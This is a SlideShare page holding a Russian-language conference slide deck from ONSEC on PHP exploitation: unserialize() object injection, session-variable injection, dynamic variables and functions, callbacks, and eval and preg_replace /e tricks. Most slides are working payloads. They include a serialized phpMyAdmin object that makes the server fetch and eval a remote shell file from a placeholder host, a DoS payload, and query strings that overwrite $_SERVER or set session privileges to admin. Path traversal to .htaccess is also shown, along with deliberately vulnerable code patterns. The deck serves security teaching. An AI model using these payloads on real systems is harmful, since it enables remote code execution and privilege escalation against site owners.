SlideShare a Scribd company logo
PHP unserialize(), $_SESSION
and dynamics.
Hints and Tricks
• 5 ноября 2009, Сеул, конф. PoC2009
«Shocking News in PHP Exploitation» - Stefan
Esser
• http://www.suspekt.org/downloads/POC200
9-ShockingNewsInPHPExploitation.pdf
ОТКУДА НОГИ РАСТУТ
СУТЬ УЯЗВИМОСТИ
• Пользовательские данные попадают в
unserialize()
• Есть классы с magic-методами: __destruct,
__toString, __wakeup
• Эти классы доступные из кода с unserialize()
• Эти методы содержат какие-либо уязвимости
(PHP inj, SQL inj, etc…)
• $configuration=unserialize($_POST['configuration']);
• function __wakeup(){ …
• $this->load();
• eval('?>' . trim(file_get_contents($this->getSource())));
• O:10:"PMA_Config":1:{s:6:"source";s:70:"ftp://login:passw
ord@tvoy_host.com/www/shell.txt";}
ПРИМЕР phpMyAdmin <= 2.11.9
http://snipper.ru/view/12/phpmyadmin-2119-unserialize-arbitrary-php-code-execution-exploit/
• a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1
:{a:1:{a:1:{...
• DoS по Эссеру.
• Information Leak по-русски ;)
• Падаем:
Fatal error: Maximum execution time of 30 seconds
exceeded in z:homewwwa.php on line 493
N-раз, фильтруем уникальные пути, сортирует по
времени, получаем стэк вызовов приложения.
http://www.xakep.ru/post/52630/default.asp
ЧТО-ТО ЕЩЕ?
• PHP 5.2 <= 5.2.13
PHP 5.3 <= 5.3.2
• $_SESSION[$_POST['prefix'] . 'bla'] = $_POST['data'];
или
• $_SESSION = array_merge($_SESSION, $_POST);
• prefix=!
• data=|xxx|O:10:"evilObject":0:{}
• Получается – аналог unserialize()… Не только!
_SESSION (MOPS-2010-060)
• При REGISTER_GLOBALS=On:
• ! Чтение (попадание в _SESSION) _SERVER,
приватных переменных классов, etc
• test.php?prefix=!&data=|_SERVER|
• ! Перезапись _SERVER, приватных переменных
классов, etc
• test.php?prefix=!&data=|_SERVER|a:1:{s:11:"REMOTE_
ADDR";s:3:"!!!";}
О ЧЕМ УМОЛЧАЛ ЭССЕР?
• foreach ($_GET as $key => $value) {
$$key = $value;
}
• test.php?_SERVER[HTTP_HOST]=!!!
• test.php?_SESSION[privileges]=admin
• test.php?config[log_file]=../../../../../../../../../.htaccess
Dynamic Variables
• parse_str($_SERVER['QUERY_STRING']); //перепишет
элемент _SERVER при ?SERVER[HTTP_HOST]=!!!
• extract($_SERVER['QUERY_STRING']); //перепишет
весь _SERVER при ?_SERVER[HTTP_HOST]=!!!
• import_request_variables(“GPC”);
• test.php?_SERVER[HTTP_HOST]=!!!
• test.php?_SESSION[privileges]=admin
• test.php?config[log_file]=../../../../../../../../../.htaccess
Dynamic Variables
• $action = $_GET[„action‟];
• $param = $_GET[„param‟];
• $action($param);
• test.php?_SERVER[HTTP_HOST]=!!!
• test.php?_SESSION[privileges]=admin
• test.php?config[log_file]=../../../../../../../../../.htaccess
Dynamic Functions
• В PHP5 около 40 функций используют Callback
• $ucback = $_GET[„callback‟];
• $ar = array(1,3,3,7);
• $na = array_map($ucback, $ar)
• test.php?callback=phpinfo
• ob_start, usort, uasort, uksort, array_filter, array_walk …
Callbacks
• $bufout = 'system';
ob_start($bufout);
echo 'whoami';
ob_end_flush();
• Если можно влиять на аргумент ob_start можно
открыть скинуть буффер в нужное место, например -
system
Отдельно об ob_ :)
• $assn = “valid prefix “ . $_GET['toas'] . " any postfix";
• assert($assn);
• eval($assn);
• $regexp = $_GET['rx'];
• $var = '<tag>'.$_GET['vr']'</tag>';
• preg_replace("/<tag>(.*?)$regexp</tag>/", '1', $var);
• test.php?rx=</tag>/e%00
Старые песни о главном
КОНТАКТЫ:
D0znpp@ONSEC.RU
ВОПРОСЫ ???

More Related Content

Similar to [ONSEC] PHP unserialize() _SESSION and Dynamics

Ihor Bliumental – Is There Life Outside OWASP Top-10
Ihor Bliumental – Is There Life Outside OWASP Top-10Ihor Bliumental – Is There Life Outside OWASP Top-10
Ihor Bliumental – Is There Life Outside OWASP Top-10
OWASP Kyiv
 
Бессигнатурное обнаружение PHP-бэкдоров
Бессигнатурное обнаружение PHP-бэкдоровБессигнатурное обнаружение PHP-бэкдоров
Бессигнатурное обнаружение PHP-бэкдоров
Positive Hack Days
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
Positive Development User Group
 
PHP Tricks
PHP TricksPHP Tricks
PHP TricksBlackFan
 
1f5694b92ab2c96e2038b33a8b0ceb7d
1f5694b92ab2c96e2038b33a8b0ceb7d1f5694b92ab2c96e2038b33a8b0ceb7d
1f5694b92ab2c96e2038b33a8b0ceb7dDarkByte2
 
1f5694b92ab2c96e2038b33a8b0ceb7d
1f5694b92ab2c96e2038b33a8b0ceb7d1f5694b92ab2c96e2038b33a8b0ceb7d
1f5694b92ab2c96e2038b33a8b0ceb7dDarkByte2
 
1f5694b92ab2c96e2038b33a8b0ceb7d
1f5694b92ab2c96e2038b33a8b0ceb7d1f5694b92ab2c96e2038b33a8b0ceb7d
1f5694b92ab2c96e2038b33a8b0ceb7dDarkByte2
 
1f5694b92ab2c96e2038b33a8b0ceb7d
1f5694b92ab2c96e2038b33a8b0ceb7d1f5694b92ab2c96e2038b33a8b0ceb7d
1f5694b92ab2c96e2038b33a8b0ceb7dDarkByte2
 
Easy authcache 2 кэширование для pro. Родионов Игорь
Easy authcache 2   кэширование для pro. Родионов ИгорьEasy authcache 2   кэширование для pro. Родионов Игорь
Easy authcache 2 кэширование для pro. Родионов ИгорьPVasili
 
Бекдоры в пхп. Остаться незамеченным или проникновение без боли
Бекдоры в пхп. Остаться незамеченным или проникновение без болиБекдоры в пхп. Остаться незамеченным или проникновение без боли
Бекдоры в пхп. Остаться незамеченным или проникновение без боли
defcon_kz
 
Vipolnenie komand na servere
Vipolnenie komand na servereVipolnenie komand na servere
Vipolnenie komand na servere
ygoltsev
 
Blackbox-тестирование веб-приложений
Blackbox-тестирование веб-приложенийBlackbox-тестирование веб-приложений
Blackbox-тестирование веб-приложений
beched
 
Easy authcache 2 кеширование для pro родионов игорь
Easy authcache 2   кеширование для pro родионов игорьEasy authcache 2   кеширование для pro родионов игорь
Easy authcache 2 кеширование для pro родионов игорьdrupalconf
 
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP-сценариях
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP-сценарияхПриемы, затрудняющие обнаружение и анализ вредоносного кода в PHP-сценариях
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP-сценарияхPositive Hack Days
 
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP скриптах
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP скриптахПриемы, затрудняющие обнаружение и анализ вредоносного кода в PHP скриптах
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP скриптах
revisium
 
Роман Еникеев - PHP или откуда взялся слон
Роман Еникеев - PHP или откуда взялся слонРоман Еникеев - PHP или откуда взялся слон
Роман Еникеев - PHP или откуда взялся слонDataArt
 
Cобачники против кинофобов
Cобачники против кинофобовCобачники против кинофобов
Cобачники против кинофобов
Lidiya Myalkina
 
Joker 2016 - Bytecode 101
Joker 2016 - Bytecode 101Joker 2016 - Bytecode 101
Joker 2016 - Bytecode 101
Anton Arhipov
 
Codeception UATestingDays
Codeception UATestingDaysCodeception UATestingDays
Codeception UATestingDays
davertmik
 

Similar to [ONSEC] PHP unserialize() _SESSION and Dynamics (20)

Ihor Bliumental – Is There Life Outside OWASP Top-10
Ihor Bliumental – Is There Life Outside OWASP Top-10Ihor Bliumental – Is There Life Outside OWASP Top-10
Ihor Bliumental – Is There Life Outside OWASP Top-10
 
Бессигнатурное обнаружение PHP-бэкдоров
Бессигнатурное обнаружение PHP-бэкдоровБессигнатурное обнаружение PHP-бэкдоров
Бессигнатурное обнаружение PHP-бэкдоров
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
PHP Tricks
PHP TricksPHP Tricks
PHP Tricks
 
1f5694b92ab2c96e2038b33a8b0ceb7d
1f5694b92ab2c96e2038b33a8b0ceb7d1f5694b92ab2c96e2038b33a8b0ceb7d
1f5694b92ab2c96e2038b33a8b0ceb7d
 
1f5694b92ab2c96e2038b33a8b0ceb7d
1f5694b92ab2c96e2038b33a8b0ceb7d1f5694b92ab2c96e2038b33a8b0ceb7d
1f5694b92ab2c96e2038b33a8b0ceb7d
 
1f5694b92ab2c96e2038b33a8b0ceb7d
1f5694b92ab2c96e2038b33a8b0ceb7d1f5694b92ab2c96e2038b33a8b0ceb7d
1f5694b92ab2c96e2038b33a8b0ceb7d
 
1f5694b92ab2c96e2038b33a8b0ceb7d
1f5694b92ab2c96e2038b33a8b0ceb7d1f5694b92ab2c96e2038b33a8b0ceb7d
1f5694b92ab2c96e2038b33a8b0ceb7d
 
Easy authcache 2 кэширование для pro. Родионов Игорь
Easy authcache 2   кэширование для pro. Родионов ИгорьEasy authcache 2   кэширование для pro. Родионов Игорь
Easy authcache 2 кэширование для pro. Родионов Игорь
 
Бекдоры в пхп. Остаться незамеченным или проникновение без боли
Бекдоры в пхп. Остаться незамеченным или проникновение без болиБекдоры в пхп. Остаться незамеченным или проникновение без боли
Бекдоры в пхп. Остаться незамеченным или проникновение без боли
 
Vipolnenie komand na servere
Vipolnenie komand na servereVipolnenie komand na servere
Vipolnenie komand na servere
 
Blackbox-тестирование веб-приложений
Blackbox-тестирование веб-приложенийBlackbox-тестирование веб-приложений
Blackbox-тестирование веб-приложений
 
Easy authcache 2 кеширование для pro родионов игорь
Easy authcache 2   кеширование для pro родионов игорьEasy authcache 2   кеширование для pro родионов игорь
Easy authcache 2 кеширование для pro родионов игорь
 
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP-сценариях
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP-сценарияхПриемы, затрудняющие обнаружение и анализ вредоносного кода в PHP-сценариях
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP-сценариях
 
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP скриптах
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP скриптахПриемы, затрудняющие обнаружение и анализ вредоносного кода в PHP скриптах
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP скриптах
 
Роман Еникеев - PHP или откуда взялся слон
Роман Еникеев - PHP или откуда взялся слонРоман Еникеев - PHP или откуда взялся слон
Роман Еникеев - PHP или откуда взялся слон
 
Cобачники против кинофобов
Cобачники против кинофобовCобачники против кинофобов
Cобачники против кинофобов
 
Joker 2016 - Bytecode 101
Joker 2016 - Bytecode 101Joker 2016 - Bytecode 101
Joker 2016 - Bytecode 101
 
176023
176023176023
176023
 
Codeception UATestingDays
Codeception UATestingDaysCodeception UATestingDays
Codeception UATestingDays
 

[ONSEC] PHP unserialize() _SESSION and Dynamics

  • 1. PHP unserialize(), $_SESSION and dynamics. Hints and Tricks
  • 2. • 5 ноября 2009, Сеул, конф. PoC2009 «Shocking News in PHP Exploitation» - Stefan Esser • http://www.suspekt.org/downloads/POC200 9-ShockingNewsInPHPExploitation.pdf ОТКУДА НОГИ РАСТУТ
  • 3. СУТЬ УЯЗВИМОСТИ • Пользовательские данные попадают в unserialize() • Есть классы с magic-методами: __destruct, __toString, __wakeup • Эти классы доступные из кода с unserialize() • Эти методы содержат какие-либо уязвимости (PHP inj, SQL inj, etc…)
  • 4. • $configuration=unserialize($_POST['configuration']); • function __wakeup(){ … • $this->load(); • eval('?>' . trim(file_get_contents($this->getSource()))); • O:10:"PMA_Config":1:{s:6:"source";s:70:"ftp://login:passw ord@tvoy_host.com/www/shell.txt";} ПРИМЕР phpMyAdmin <= 2.11.9 http://snipper.ru/view/12/phpmyadmin-2119-unserialize-arbitrary-php-code-execution-exploit/
  • 5. • a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1 :{a:1:{a:1:{... • DoS по Эссеру. • Information Leak по-русски ;) • Падаем: Fatal error: Maximum execution time of 30 seconds exceeded in z:homewwwa.php on line 493 N-раз, фильтруем уникальные пути, сортирует по времени, получаем стэк вызовов приложения. http://www.xakep.ru/post/52630/default.asp ЧТО-ТО ЕЩЕ?
  • 6. • PHP 5.2 <= 5.2.13 PHP 5.3 <= 5.3.2 • $_SESSION[$_POST['prefix'] . 'bla'] = $_POST['data']; или • $_SESSION = array_merge($_SESSION, $_POST); • prefix=! • data=|xxx|O:10:"evilObject":0:{} • Получается – аналог unserialize()… Не только! _SESSION (MOPS-2010-060)
  • 7. • При REGISTER_GLOBALS=On: • ! Чтение (попадание в _SESSION) _SERVER, приватных переменных классов, etc • test.php?prefix=!&data=|_SERVER| • ! Перезапись _SERVER, приватных переменных классов, etc • test.php?prefix=!&data=|_SERVER|a:1:{s:11:"REMOTE_ ADDR";s:3:"!!!";} О ЧЕМ УМОЛЧАЛ ЭССЕР?
  • 8. • foreach ($_GET as $key => $value) { $$key = $value; } • test.php?_SERVER[HTTP_HOST]=!!! • test.php?_SESSION[privileges]=admin • test.php?config[log_file]=../../../../../../../../../.htaccess Dynamic Variables
  • 9. • parse_str($_SERVER['QUERY_STRING']); //перепишет элемент _SERVER при ?SERVER[HTTP_HOST]=!!! • extract($_SERVER['QUERY_STRING']); //перепишет весь _SERVER при ?_SERVER[HTTP_HOST]=!!! • import_request_variables(“GPC”); • test.php?_SERVER[HTTP_HOST]=!!! • test.php?_SESSION[privileges]=admin • test.php?config[log_file]=../../../../../../../../../.htaccess Dynamic Variables
  • 10. • $action = $_GET[„action‟]; • $param = $_GET[„param‟]; • $action($param); • test.php?_SERVER[HTTP_HOST]=!!! • test.php?_SESSION[privileges]=admin • test.php?config[log_file]=../../../../../../../../../.htaccess Dynamic Functions
  • 11. • В PHP5 около 40 функций используют Callback • $ucback = $_GET[„callback‟]; • $ar = array(1,3,3,7); • $na = array_map($ucback, $ar) • test.php?callback=phpinfo • ob_start, usort, uasort, uksort, array_filter, array_walk … Callbacks
  • 12. • $bufout = 'system'; ob_start($bufout); echo 'whoami'; ob_end_flush(); • Если можно влиять на аргумент ob_start можно открыть скинуть буффер в нужное место, например - system Отдельно об ob_ :)
  • 13. • $assn = “valid prefix “ . $_GET['toas'] . " any postfix"; • assert($assn); • eval($assn); • $regexp = $_GET['rx']; • $var = '<tag>'.$_GET['vr']'</tag>'; • preg_replace("/<tag>(.*?)$regexp</tag>/", '1', $var); • test.php?rx=</tag>/e%00 Старые песни о главном